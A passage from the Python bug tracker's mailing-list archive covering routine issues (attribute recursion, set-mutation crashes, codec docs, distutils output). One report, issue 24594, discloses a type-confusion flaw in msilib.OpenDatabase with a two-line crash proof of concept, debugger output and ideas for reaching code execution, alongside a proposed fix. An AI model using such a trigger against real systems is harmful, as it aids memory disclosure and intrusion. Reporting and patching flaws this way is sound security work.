access causes infinite loop Message-ID: <1436346442.55.0.773620988633.issue24590@psf.upfronthosting.co.za> New submission from Zorceta: Code and result: ``` >>> class A: def __init__(self): self.data = {'a': 1, 'b': 2, 'c': 3} def __getattr__(self, name): print('in __getattr__, getting %s' % name) if name in self.data: return self.data[name] else: raise AttributeError def __setattr__(self, name, value): print('in __setattr__, setting %s to %s' % (name, value)) if name in self.data: self.data[name] = value else: self.__class__.__setattr__(self, name, value) >>> a = A() in __setattr__, setting data to {'a': 1, 'b': 2, 'c': 3} in __getattr__, getting data in __getattr__, getting data in __getattr__, getting data ...... ``` >From above you can see it stuck on >>> if name in self.data: in `__setattr__`. But, the result indicates that `__setattr__` uses `__getattr__` to read the `data` attribute, which is against docs: "Note that if the attribute is found through the normal mechanism, __getattr__() is not called." If it acts as described, `data` should be read "through the normal mechanism", not through `__getattr__`. ---------- messages: 246453 nosy: zorceta priority: normal severity: normal status: open title: Customized attribute access causes infinite loop type: behavior versions: Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 11:16:31 2015 From: report at bugs.python.org (Zorceta) Date: Wed, 08 Jul 2015 09:16:31 +0000 Subject: [issue24590] Customized attribute access causes infinite loop In-Reply-To: <1436346442.55.0.773620988633.issue24590@psf.upfronthosting.co.za> Message-ID: <1436346991.9.0.318394587636.issue24590@psf.upfronthosting.co.za> Changes by Zorceta : ---------- status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 11:17:07 2015 From: report at bugs.python.org (Zorceta) Date: Wed, 08 Jul 2015 09:17:07 +0000 Subject: [issue24590] Unappropriate issue In-Reply-To: <1436346442.55.0.773620988633.issue24590@psf.upfronthosting.co.za> Message-ID: <1436347027.78.0.475311692175.issue24590@psf.upfronthosting.co.za> Changes by Zorceta : ---------- title: Customized attribute access causes infinite loop -> Unappropriate issue _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 11:53:24 2015 From: report at bugs.python.org (Bastiaan Albarda) Date: Wed, 08 Jul 2015 09:53:24 +0000 Subject: [issue24589] Wrong behavior for list of lists In-Reply-To: <1436342476.49.0.0477320151656.issue24589@psf.upfronthosting.co.za> Message-ID: <1436349204.33.0.219365485704.issue24589@psf.upfronthosting.co.za> Bastiaan Albarda added the comment: The * operator lets you use the same object multiple times, thereby saving resources. If you want unique objects use comprehension: >>> v = [[] for x in range(10)] >>> v[3].append(3) >>> v [[], [], [], [3], [], [], [], [], [], []] >>> v[3] += [3] >>> v [[], [], [], [3, 3], [], [], [], [], [], []] ---------- nosy: +Bastiaan Albarda _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 13:07:38 2015 From: report at bugs.python.org (Martin Panter) Date: Wed, 08 Jul 2015 11:07:38 +0000 Subject: [issue24589] Wrong behavior for list of lists In-Reply-To: <1436342476.49.0.0477320151656.issue24589@psf.upfronthosting.co.za> Message-ID: <1436353658.28.0.46112244058.issue24589@psf.upfronthosting.co.za> Martin Panter added the comment: This is how Python is meant to work; see . Unless there is something in the documentation that gave you the wrong impression, I suggest we close this. ---------- nosy: +vadmium resolution: -> not a bug _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 13:08:12 2015 From: report at bugs.python.org (Martin Panter) Date: Wed, 08 Jul 2015 11:08:12 +0000 Subject: [issue24589] Wrong behavior for list of lists In-Reply-To: <1436342476.49.0.0477320151656.issue24589@psf.upfronthosting.co.za> Message-ID: <1436353692.26.0.0818408819118.issue24589@psf.upfronthosting.co.za> Changes by Martin Panter : ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 15:06:28 2015 From: report at bugs.python.org (R. David Murray) Date: Wed, 08 Jul 2015 13:06:28 +0000 Subject: [issue24588] Unable to pass argument to python script from Java program In-Reply-To: <1436333753.46.0.248622877126.issue24588@psf.upfronthosting.co.za> Message-ID: <1436360788.68.0.345038899348.issue24588@psf.upfronthosting.co.za> R. David Murray added the comment: For help with programming, please try the python-list mailing list, or in this case probably a java forum. If you find that there is really is a bug (this is very unlikely) you can reopen this issue with more information about the problem you found. ---------- nosy: +r.david.murray resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 16:50:57 2015 From: report at bugs.python.org (Padmanabhan Tr) Date: Wed, 08 Jul 2015 14:50:57 +0000 Subject: [issue24551] byte conversion In-Reply-To: <1004483660.603783.1436365559960.JavaMail.yahoo@mail.yahoo.com> Message-ID: <1485663175.588766.1436367052388.JavaMail.yahoo@mail.yahoo.com> Padmanabhan Tr added the comment: On Wednesday, July 8, 2015 7:56 PM, padmanabhan T R wrote: Dear Mr Steven D'ApranoI have not gone through the relevant Source Codes; purely based on my working with Python3 (Version 3.4.2) and the 'The Python Library Reference manual, Release 3.4.2' document, I have the following to suggest as additions to this Manual: - Insert the following under 'codecs.decode(obj [,encoding[,errors]])' - Section 7.2, Page 142 : When a bytes objectis decoded with 'hex' decoding, the corresponding returned array hasASCII characters for byte pairs wherever possible; other byte pairsappear as such. The reverse holds good for encoding. >>> import codecs >>> codecs.encode(b'\x1d\x1e\x1f !"','hex') b'1d1e1f202122' >>> codecs.encode(b'\x1d\x1e\x1f\x20\x21\x22','hex') b'1d1e1f202122' >>> codecs.decode(b'1d1e1f202122','hex') b'\x1d\x1e\x1f !"' >>> codecs.encode(_,'hex') b'1d1e1f202122' >>> codecs.decode(b'3031323334','hex')?????????????????? b'01234' >>> codecs.encode(_,'hex') b'3031323334' >>> codecs.decode(b'797a7b7c7d7e7f8081','hex') b'yz{|}~\x7f\x80\x81' >>> codecs.encode(_,'hex') b'797a7b7c7d7e7f8081' >>> codecs.encode(b'\x79\x7a\x7b\x7c\x7d\7e\x7f\x80\x81','hex') b'797a7b7c7d07657f8081' >>> - Under 'int.to_bytes() -? classmethod int.to_bytes()' - Section 4.4.2, Page 31 insert: 'See codecs.decode() also' - Under 'int.to_bytes() -? classmethod int.frombytes()' - Section 4.4.2, Page 31 insert: 'See codecs.decode() also' - Under 'classmethod bytes.fromhex(string)' - Section 7.2, Page 142 insert: 'See codecs.decode() also' Padmanabhanm On Wednesday, July 8, 2015 8:57 AM, padmanabhan T R wrote: On Tuesday, July 7, 2015 9:22 PM, Steven D'Aprano wrote: Steven D'Aprano added the comment: Bytes in Python 3 do use ASCII representation: py> b'\x41' == b'A'? # ASCII True If you think the documentation is unclear, please tell us which part of the docs you read (provide a URL) and we will see if it can be improved. ---------- _______________________________________ Python tracker _______________________________________ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 17:33:18 2015 From: report at bugs.python.org (alanf) Date: Wed, 08 Jul 2015 15:33:18 +0000 Subject: [issue24591] offer option to suppress "clean --all" output relating to nonexistent dirs Message-ID: <1436369598.14.0.821351953958.issue24591@psf.upfronthosting.co.za> New submission from alanf: The command "setup.py clean --all" writes out information about nonexistent directories that the script tried to clean but couldn't find. Example: 'build/bdist.linux-x86_64' does not exist -- can't clean it 'build/scripts-2.7' does not exist -- can't clean it It would be better to suppress this output, or at least offer an option for suppressing it. This information serves no purpose to the user, except possibly to make him or her unnecessarily worried. (I know at least three developers on my team who wondered whether these lines indicated a problem when they tested our setup.py, which performs the equivalent of "clean --all" whenever "build" is run.) It's perfectly normal for these directories not to exist. The chance that you would have every possible such directory is close to zero. There is a "quiet" option, but that's not what I want to use, since the other output issued by the command (that is, the removal of real directories) is informative. ---------- components: Distutils messages: 246458 nosy: alanf, dstufft, eric.araujo priority: normal severity: normal status: open title: offer option to suppress "clean --all" output relating to nonexistent dirs type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 17:54:01 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 08 Jul 2015 15:54:01 +0000 Subject: [issue24583] Crash when source set is changed during merging In-Reply-To: <1436270170.86.0.264953731396.issue24583@psf.upfronthosting.co.za> Message-ID: <1436370841.07.0.744816201725.issue24583@psf.upfronthosting.co.za> Changes by Raymond Hettinger : Added file: http://bugs.python.org/file39883/index_to_entry.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 18:00:36 2015 From: report at bugs.python.org (Sameer Kulkarni) Date: Wed, 08 Jul 2015 16:00:36 +0000 Subject: [issue24563] Encoding declaration: doc supported encodings In-Reply-To: <1435966719.35.0.908058462942.issue24563@psf.upfronthosting.co.za> Message-ID: <1436371236.54.0.512461838885.issue24563@psf.upfronthosting.co.za> Sameer Kulkarni added the comment: I have added link to Standard Encodings : https://docs.python.org/3/library/codecs.html#standard-encodings and Python Specific Encodings : https://docs.python.org/3/library/codecs.html#python-specific-encodings ---------- keywords: +patch nosy: +ksameersrk Added file: http://bugs.python.org/file39884/encoding_links.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 18:03:01 2015 From: report at bugs.python.org (arthur) Date: Wed, 08 Jul 2015 16:03:01 +0000 Subject: [issue24592] global var defined in module not returned by function Message-ID: <1436371381.4.0.964626376245.issue24592@psf.upfronthosting.co.za> New submission from arthur: defined global var, glob.myVar, in separated module imported module containing glob.myVar in function1, func1(): glob.myVar = "" func1Var = func2() in function2, func2(): if (...): glob.myVar+= "abc" func2() # call func2() again - recursive else: return glob.myVar I always find: func1Var is None = True An obvious workaround is func1Var = glob.myVar which is fine ---------- components: Windows messages: 246460 nosy: arthur, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: global var defined in module not returned by function type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 18:07:55 2015 From: report at bugs.python.org (Steve Dower) Date: Wed, 08 Jul 2015 16:07:55 +0000 Subject: [issue24592] global var defined in module not returned by function In-Reply-To: <1436371381.4.0.964626376245.issue24592@psf.upfronthosting.co.za> Message-ID: <1436371675.61.0.239636195498.issue24592@psf.upfronthosting.co.za> Steve Dower added the comment: You should start by posting this to python-list or StackOverflow, and I'd suggest including code that can actually be run - it's far more precise than pseudocode. (Functions and modules get used a lot. It's far more likely there's a bug in your code than in Python's implementation.) ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 18:17:43 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 08 Jul 2015 16:17:43 +0000 Subject: [issue24583] Crash when source set is changed during merging In-Reply-To: <1436270170.86.0.264953731396.issue24583@psf.upfronthosting.co.za> Message-ID: <1436372263.5.0.623234418638.issue24583@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 20:32:05 2015 From: report at bugs.python.org (Emanuel Barry) Date: Wed, 08 Jul 2015 18:32:05 +0000 Subject: [issue24593] [3.5.0b3] stdlib on Windows mismatches compiled version Message-ID: <1436380325.59.0.242963280034.issue24593@psf.upfronthosting.co.za> New submission from Emanuel Barry: On Windows and with the pre-compiled stdlib, the 'collections/__init__.py' file doesn't match the compiled one, as hinted by the presence of OrderedDict, even though it is now part of _collections. The interpreter works just as intended since it uses the pre-compiled versions, but the file is misleading. There could be more files like this, but I haven't checked much. ---------- components: Library (Lib) messages: 246462 nosy: ebarry priority: normal severity: normal status: open title: [3.5.0b3] stdlib on Windows mismatches compiled version versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 20:37:22 2015 From: report at bugs.python.org (Zachary Ware) Date: Wed, 08 Jul 2015 18:37:22 +0000 Subject: [issue24593] [3.5.0b3] stdlib on Windows mismatches compiled version In-Reply-To: <1436380325.59.0.242963280034.issue24593@psf.upfronthosting.co.za> Message-ID: <1436380642.55.0.338038779453.issue24593@psf.upfronthosting.co.za> Zachary Ware added the comment: I'm not sure I follow what you think is wrong. Are you expecting there to be no OrderedDict in Lib/collections/__init__.py? That's an incorrect expectation; even though there is now a C implementation of OrderedDict, the Python implementation will be kept forever for the benefit of other implementations of Python (so they don't have to reimplement OrderedDict unless they want to). ---------- nosy: +zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 20:42:19 2015 From: report at bugs.python.org (Emanuel Barry) Date: Wed, 08 Jul 2015 18:42:19 +0000 Subject: [issue24593] [3.5.0b3] stdlib on Windows mismatches compiled version In-Reply-To: <1436380325.59.0.242963280034.issue24593@psf.upfronthosting.co.za> Message-ID: <1436380939.26.0.384382376558.issue24593@psf.upfronthosting.co.za> Emanuel Barry added the comment: I guess I misexplained myself; I meant that the file hints that there is no C implementation of it (it doesn't import the name from _collections), even though '_collections.OrderedDict is collections.OrderedDict'. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 20:53:57 2015 From: report at bugs.python.org (R. David Murray) Date: Wed, 08 Jul 2015 18:53:57 +0000 Subject: [issue24593] [3.5.0b3] stdlib on Windows mismatches compiled version In-Reply-To: <1436380325.59.0.242963280034.issue24593@psf.upfronthosting.co.za> Message-ID: <1436381637.42.0.123010977538.issue24593@psf.upfronthosting.co.za> R. David Murray added the comment: The import is not at the top of the file, it is after the definition. ---------- nosy: +r.david.murray resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 21:05:19 2015 From: report at bugs.python.org (Ethan Furman) Date: Wed, 08 Jul 2015 19:05:19 +0000 Subject: [issue24590] Customized attribute access causes infinite loop In-Reply-To: <1436346442.55.0.773620988633.issue24590@psf.upfronthosting.co.za> Message-ID: <1436382319.32.0.697724731261.issue24590@psf.upfronthosting.co.za> Ethan Furman added the comment: The error in the example code was in def __init__(self): self.data = ... In order to get around that issue, either `data` needs to be declared at class scope, or special cased in __getattr__. ---------- nosy: +ethan.furman resolution: -> not a bug title: Unappropriate issue -> Customized attribute access causes infinite loop _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 21:49:27 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 08 Jul 2015 19:49:27 +0000 Subject: [issue24581] Crash when a set is changed during iteration In-Reply-To: <1436256549.64.0.540045021934.issue24581@psf.upfronthosting.co.za> Message-ID: <1436384967.26.0.64575132115.issue24581@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Thanks. ---------- stage: needs patch -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 22:03:37 2015 From: report at bugs.python.org (Roundup Robot) Date: Wed, 08 Jul 2015 20:03:37 +0000 Subject: [issue24581] Crash when a set is changed during iteration In-Reply-To: <1436256549.64.0.540045021934.issue24581@psf.upfronthosting.co.za> Message-ID: <20150708200334.6282.47511@psf.io> Roundup Robot added the comment: New changeset 8644744f53ce by Serhiy Storchaka in branch '3.4': Added regression test for issue24581. https://hg.python.org/cpython/rev/8644744f53ce New changeset cfb84be6c7fc by Serhiy Storchaka in branch '2.7': Added regression test for issue24581. https://hg.python.org/cpython/rev/cfb84be6c7fc New changeset 844bd42326fa by Serhiy Storchaka in branch '3.5': Added regression test for issue24581. https://hg.python.org/cpython/rev/844bd42326fa New changeset 9d296d5b6941 by Serhiy Storchaka in branch 'default': Added regression test for issue24581. https://hg.python.org/cpython/rev/9d296d5b6941 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 22:11:19 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 08 Jul 2015 20:11:19 +0000 Subject: [issue24583] Crash when source set is changed during merging In-Reply-To: <1436270170.86.0.264953731396.issue24583@psf.upfronthosting.co.za> Message-ID: <1436386279.17.0.0362322042805.issue24583@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: LGTM for 3.4. But 3.5 has other bug. Changeset 637e197be547 looks incorrect to me. key should be increfed before calling PyObject_RichCompareBool() for the same reason as startkey. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 22:12:32 2015 From: report at bugs.python.org (Erik Bray) Date: Wed, 08 Jul 2015 20:12:32 +0000 Subject: [issue23189] Set docstrings to empty string when optimizing with -OO. In-Reply-To: <1420710105.42.0.0455822244895.issue23189@psf.upfronthosting.co.za> Message-ID: <1436386352.06.0.171837159615.issue23189@psf.upfronthosting.co.za> Erik Bray added the comment: For what it's worth (since it was mentioned toward the end of this thread as an offending package) Astropy has a patch now to fix its misbehavior with respect to this issue. I do feel like this would be nice to fix though, since I think it's awkward to have code that on its face clearly has a docstring, but still have to check that the docstring may be None. Just to put it out there if anyone were really interested, I identified two ways this could be changed: 1) For functions add a new co_flags flag indicating that docstrings were optimized out. This is at the cost of a co_flags flag. 2) Keep an empty string as the first element in co_consts, at the const of one additional constant per function that previously had a docstring (still cheaper than the docstring itself in most cases). Of course, it would still break backward compatibility for code that expects None for an optimized out docstring, I guess, and probably isn't worth either of the above two sacrifices at the end of the day. ---------- nosy: +erik.bray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 22:13:12 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 08 Jul 2015 20:13:12 +0000 Subject: [issue24583] Crash when source set is changed during merging In-Reply-To: <1436270170.86.0.264953731396.issue24583@psf.upfronthosting.co.za> Message-ID: <1436386392.73.0.360205901126.issue24583@psf.upfronthosting.co.za> Changes by Serhiy Storchaka : ---------- Removed message: http://bugs.python.org/msg246469 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 22:13:30 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 08 Jul 2015 20:13:30 +0000 Subject: [issue24583] Crash when source set is changed during merging In-Reply-To: <1436270170.86.0.264953731396.issue24583@psf.upfronthosting.co.za> Message-ID: <1436386410.94.0.889287484712.issue24583@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: LGTM for 3.5. But 3.6 has other bug. Changeset 637e197be547 looks incorrect to me. key should be increfed before calling PyObject_RichCompareBool() for the same reason as startkey. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 23:40:38 2015 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 08 Jul 2015 21:40:38 +0000 Subject: [issue24583] Crash when source set is changed during merging In-Reply-To: <1436270170.86.0.264953731396.issue24583@psf.upfronthosting.co.za> Message-ID: <1436391638.4.0.11467899101.issue24583@psf.upfronthosting.co.za> Raymond Hettinger added the comment: Can you produce a test case? Perhaps the incref/decref pair ought to be moved into PyObject_RichCompareBool(). It doesn't make much sense for the callers to do the work. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 23:42:08 2015 From: report at bugs.python.org (STINNER Victor) Date: Wed, 08 Jul 2015 21:42:08 +0000 Subject: [issue24583] set.update(): Crash when source set is changed during merging In-Reply-To: <1436270170.86.0.264953731396.issue24583@psf.upfronthosting.co.za> Message-ID: <1436391728.72.0.33223047653.issue24583@psf.upfronthosting.co.za> Changes by STINNER Victor : ---------- title: Crash when source set is changed during merging -> set.update(): Crash when source set is changed during merging _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Jul 8 23:45:38 2015 From: report at bugs.python.org (R. David Murray) Date: Wed, 08 Jul 2015 21:45:38 +0000 Subject: [issue15014] smtplib: add support for arbitrary auth methods In-Reply-To: <1338970281.71.0.834699818603.issue15014@psf.upfronthosting.co.za> Message-ID: <1436391938.2.0.0434560842099.issue15014@psf.upfronthosting.co.za> R. David Murray added the comment: Only one question, about a possible missing test. Otherwise this looks good to me. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 01:17:49 2015 From: report at bugs.python.org (STINNER Victor) Date: Wed, 08 Jul 2015 23:17:49 +0000 Subject: [issue24157] test_urandom_fd_reopened failure if OS X crash reporter default set to Developer In-Reply-To: <1431267025.82.0.688433219235.issue24157@psf.upfronthosting.co.za> Message-ID: <1436397469.81.0.765559740588.issue24157@psf.upfronthosting.co.za> Changes by STINNER Victor : ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 01:26:41 2015 From: report at bugs.python.org (JohnLeitch) Date: Wed, 08 Jul 2015 23:26:41 +0000 Subject: [issue24594] msilib.OpenDatabase Type Confusion Message-ID: <1436398001.58.0.629025200144.issue24594@psf.upfronthosting.co.za> New submission from JohnLeitch: The msilib.OpenDatabase method suffers from a type confusion vulnerability caused by the behavior of MsiOpenDatabase(), the underlying win32 function utilized. This is due to the unorthodox handling of the szPersist parameter: when an MSIDBOPEN_* value is passed, it is treated as a predefined persistence mode. However, when a larger value is passed, it is treated as a string pointer, which is used as the path to a new file. Because the Python method msilib.OpenDatabase passes its persist parameter through to MsiOpenDatabase, it may be possible for an attacker to trigger the type confusion bug should the seemingly innocuous persist parameter be exposed as attack surface. This could have a few consequences: 1) An attacker might be able to leverage this vulnerability to probe for valid addresses, which could then be used in another exploit to bypass ASLR/DEP. 2) An attacker might be able to leverage this vulnerability to dereference aribtrary values in memory, disclosing secrets. 3) An attacker may be able to spray memory with specially crafted string values, then leverage this vulnerability to pass one of the values as a persist string. Because this would lead to the creation of an MSI file in a location now controlled by the attacker, it could potentially be exploited to achieve remote code execution. A Python script that demonstrates the vulnerability is as follows: import msilib msilib.OpenDatabase("",0x41414141) And it produces the following exception: 0:000> r eax=41414141 ebx=00000000 ecx=0027f8c0 edx=41414142 esi=0027f8c0 edi=00000000 eip=757252aa esp=0027f874 ebp=0027f89c iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 KERNELBASE!lstrlenA+0x1a: 757252aa 8a08 mov cl,byte ptr [eax] ds:002b:41414141=?? 0:000> !analyze -v -nodb ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: KERNELBASE!lstrlenA+1a 757252aa 8a08 mov cl,byte ptr [eax] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 757252aa (KERNELBASE!lstrlenA+0x0000001a) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 41414141 Attempt to read from address 41414141 CONTEXT: 00000000 -- (.cxr 0x0;r) eax=41414141 ebx=00000000 ecx=0027f8c0 edx=41414142 esi=0027f8c0 edi=00000000 eip=757252aa esp=0027f874 ebp=0027f89c iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 KERNELBASE!lstrlenA+0x1a: 757252aa 8a08 mov cl,byte ptr [eax] ds:002b:41414141=?? FAULTING_THREAD: 00000d38 PROCESS_NAME: python.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s. EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 41414141 READ_ADDRESS: 41414141 FOLLOWUP_IP: msi!CApiConvertString::operator unsigned short const *+1b1d 622e1fa1 40 inc eax NTGLOBALFLAG: 70 APPLICATION_VERIFIER_FLAGS: 0 APP: python.exe ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_READ_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: INVALID_POINTER_READ_FILL_PATTERN_41414141 LAST_CONTROL_TRANSFER: from 622e1fa1 to 757252aa STACK_TEXT: 0027f89c 622e1fa1 41414141 41414141 623e22d0 KERNELBASE!lstrlenA+0x1a 0027fcfc 1d162217 01c54334 41414141 0027fd10 msi!CApiConvertString::operator unsigned short const *+0x1b1d 0027fd18 1e0aafd7 00000000 01d86940 01d7ea08 _msi!msiopendb+0x37 0027fd30 1e0edd10 01d7ea08 01d86940 00000000 python27!PyCFunction_Call+0x47 0027fd5c 1e0f017a 0027fdb4 01c86b18 01c86b18 python27!call_function+0x2b0 0027fdcc 1e0f1150 01cb4030 00000000 01c86b18 python27!PyEval_EvalFrameEx+0x239a 0027fe00 1e0f11b2 01c86b18 01cb4030 01c8aa50 python27!PyEval_EvalCodeEx+0x690 0027fe2c 1e11707a 01c86b18 01c8aa50 01c8aa50 python27!PyEval_EvalCode+0x22 0027fe44 1e1181c5 01d43a20 01c8aa50 01c8aa50 python27!run_mod+0x2a 0027fe64 1e118760 68e87408 003f2e93 00000101 python27!PyRun_FileExFlags+0x75 0027fea4 1e1190d9 68e87408 003f2e93 00000001 python27!PyRun_SimpleFileExFlags+0x190 0027fec0 1e038d35 68e87408 003f2e93 00000001 python27!PyRun_AnyFileExFlags+0x59 0027ff3c 1d00116d 00000002 003f2e70 003f1940 python27!Py_Main+0x965 0027ff80 75847c04 7ffde000 75847be0 0c2f39c0 python!__tmainCRTStartup+0x10f 0027ff94 77c9b90f 7ffde000 0e681648 00000000 KERNEL32!BaseThreadInitThunk+0x24 0027ffdc 77c9b8da ffffffff 77c806e0 00000000 ntdll!__RtlUserThreadStart+0x2f 0027ffec 00000000 1d001314 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: .cxr 0x0 ; kb SYMBOL_STACK_INDEX: 1 SYMBOL_NAME: msi!CApiConvertString::operator unsigned short const *+1b1d FOLLOWUP_NAME: MachineOwner MODULE_NAME: msi IMAGE_NAME: msi.dll DEBUG_FLR_IMAGE_TIMESTAMP: 5450468f FAILURE_BUCKET_ID: INVALID_POINTER_READ_FILL_PATTERN_41414141_c0000005_msi.dll!CApiConvertString::operator_unsigned_short_const_* BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_READ_FILL_PATTERN_41414141_msi!CApiConvertString::operator_unsigned_short_const_*+1b1d ANALYSIS_SOURCE: UM FAILURE_ID_HASH_STRING: um:invalid_pointer_read_fill_pattern_41414141_c0000005_msi.dll!capiconvertstring::operator_unsigned_short_const_* FAILURE_ID_HASH: {11693fba-32c4-0880-2440-574cbd780159} Followup: MachineOwner --------- To fix the issue, msiopendb() should perform whitelist validation of the persist value to confirm that it is a valid MSIDBOPEN_* constant. A proposed patch is attached. ---------- components: Library (Lib) files: _msi.patch keywords: patch messages: 246474 nosy: JohnLeitch priority: normal severity: normal status: open title: msilib.OpenDatabase Type Confusion type: security Added file: http://bugs.python.org/file39885/_msi.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 01:27:38 2015 From: report at bugs.python.org (JohnLeitch) Date: Wed, 08 Jul 2015 23:27:38 +0000 Subject: [issue24594] msilib.OpenDatabase Type Confusion In-Reply-To: <1436398001.58.0.629025200144.issue24594@psf.upfronthosting.co.za> Message-ID: <1436398058.31.0.0379287225467.issue24594@psf.upfronthosting.co.za> JohnLeitch added the comment: Attaching repro file. ---------- Added file: http://bugs.python.org/file39886/msilib.OpenDatabase_Type_Confusion.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 02:43:42 2015 From: report at bugs.python.org (Steven D'Aprano) Date: Thu, 09 Jul 2015 00:43:42 +0000 Subject: [issue24551] byte conversion In-Reply-To: <1485663175.588766.1436367052388.JavaMail.yahoo@mail.yahoo.com> Message-ID: <20150709004321.GH10773@ando.pearwood.info> Steven D'Aprano added the comment: I'm sorry, but I believe that you have misunderstood what happens here. This has nothing to do with the hex codec, or int.to_bytes() etc. This is the standard property of byte strings in Python, that they are displayed using ASCII as much as possible. The byte string b'\x41' is just the hex escape form for the byte string b'A' (ASCII capital A). It doesn't matter whether you use ASCII, decimal, octal or hexadecimal, you get an equal byte string: py> b'A' == bytes([65]) == b'\101' == b'\x41' True with the same internal byte value. When you print a byte string, Python prefers to display it using ASCII characters where possible regardless of whether it was constructed from backslash escapes or not. So the byte string b'\x41 A \xEF' prints as b'A A \xef' because \x41 is the ASCII character A, but \xEF has no ASCII representation so it remains in hex escape form. It doesn't matter where that byte string comes from: the hex codec, int.to_bytes, or somewhere else. I don't think this is appropriate to continue discussing this on the bug tracker. If you would like to continue the discussion, please join the python-list at python.org mailing list, or comp.lang.python newsgroup, and I'll be happy to discuss it further there. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 04:09:55 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 09 Jul 2015 02:09:55 +0000 Subject: [issue24583] set.update(): Crash when source set is changed during merging In-Reply-To: <1436270170.86.0.264953731396.issue24583@psf.upfronthosting.co.za> Message-ID: <1436407795.12.0.4441748135.issue24583@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: The same test is crashed in 3.6 even with index_to_entry.diff. ./python -m test.regrtest -F -m test_merge_and_mutate test_set ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 04:47:09 2015 From: report at bugs.python.org (Zachary Ware) Date: Thu, 09 Jul 2015 02:47:09 +0000 Subject: [issue24551] byte conversion In-Reply-To: <1435853287.91.0.814348198879.issue24551@psf.upfronthosting.co.za> Message-ID: <1436410029.5.0.285483863508.issue24551@psf.upfronthosting.co.za> Changes by Zachary Ware : ---------- stage: -> resolved _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 9 04:47:27 2015 From: report at bugs.python.org (Zachary Ware) Date: Thu, 09 Jul 2015 02:47:27 +0000 Subject: [issue24551] byte conversion In-Reply-To: <1435853287.91.0.814348198879.issue24551@psf.upfronthosting.co.za> Message-ID: <1436410047.74.0.329257889098.issue24551@psf.upfronthosting.co.za> Changes by Zachary Ware : ---------- components: -Demos and Tools _______________________________________ Python tracker _______________________________________ From report at 